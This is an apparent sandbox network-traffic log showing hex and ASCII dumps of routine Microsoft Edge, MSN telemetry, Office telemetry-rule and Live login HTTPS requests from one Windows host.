2024-11-20 22:13:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	49920	20.110.205.119	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:02 UTC	1279	OUT	GET /c.gif?rnd=1732140775644&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e960d3386b8642dbb8e622514e00b247&activityId=e960d3386b8642dbb8e622514e00b247&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2947A454840A4FD09991B5E1B311CF6E&MUID=3E320C721BF96C1208BE194F1A9E6DEF HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-20 22:13:02 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3E320C721BF96C1208BE194F1A9E6DEF; domain=.msn.com; expires=Mon, 15-Dec-2025 22:13:02 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3E320C721BF96C1208BE194F1A9E6DEF; domain=c.msn.com; expires=Mon, 15-Dec-2025 22:13:02 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 22:13:02 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 20-Nov-2024 22:23:02 GMT; path=/; SameSite=None; Secure; Date: Wed, 20 Nov 2024 22:13:02 GMT Connection: close Content-Length: 42
2024-11-20 22:13:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:02 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:03 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8d0ecd0b-301e-0020-617e-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221302Z-1777c6cb754lvj6mhC1TEBke940000000a5g00000000vb8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:13:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:03 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:03 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:03 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a8ea751-101e-007a-417b-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221303Z-r1d97b995774zjnrhC1TEBv1ww00000009h0000000000c9y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49925	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:03 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 22:13:03 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 22:13:04 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 22:12:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 4e2f3ca8-231c-48c9-9df6-fd5ed58b6bb5 PPServer: PPV: 30 H: PH1PEPF00011FE5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 22:13:03 GMT Connection: close Content-Length: 11389
2024-11-20 22:13:04 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:04 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221304Z-178bfbc474bv7whqhC1NYC1fg400000000ng000000008tph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:13:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221304Z-1777c6cb754ww792hC1TEBzqu400000009xg00000000y117 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:04 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:05 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 46934538-601e-0050-507b-3b2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221305Z-178bfbc474bq2pr7hC1NYCkfgg00000000qg00000000t4k2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:05 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	49929	20.189.173.11	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:05 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140782742&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11582 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 22:13:05 UTC	11582	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 32 3a 31 33 3a 30 32 2e 37 33 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 61 36 64 35 35 30 33 2d 64 33 39 30 2d 34 30 33 39 2d 61 35 62 39 2d 66 33 64 62 38 61 66 39 64 33 66 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 37 35 32 36 30 32 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T22:13:02.735Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"5a6d5503-d390-4039-a5b9-f3db8af9d3fb","epoch":"3275260270"},"app":{"locale
2024-11-20 22:13:05 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=801ada218a7a42008bfd4a1a9271bf3c&HASH=801a&LV=202411&V=4&LU=1732140785367; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 22:13:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=179e2af2b96b4c48833c3df3e46bd43a; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 22:43:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2625 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 22:13:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	49930	20.189.173.11	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:05 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140782745&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5094 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 22:13:05 UTC	5094	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 32 3a 31 33 3a 30 32 2e 37 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 61 36 64 35 35 30 33 2d 64 33 39 30 2d 34 30 33 39 2d 61 35 62 39 2d 66 33 64 62 38 61 66 39 64 33 66 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 37 35 32 36 30 32 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T22:13:02.744Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"5a6d5503-d390-4039-a5b9-f3db8af9d3fb","epoch":"3275260270"},"app":{"locale
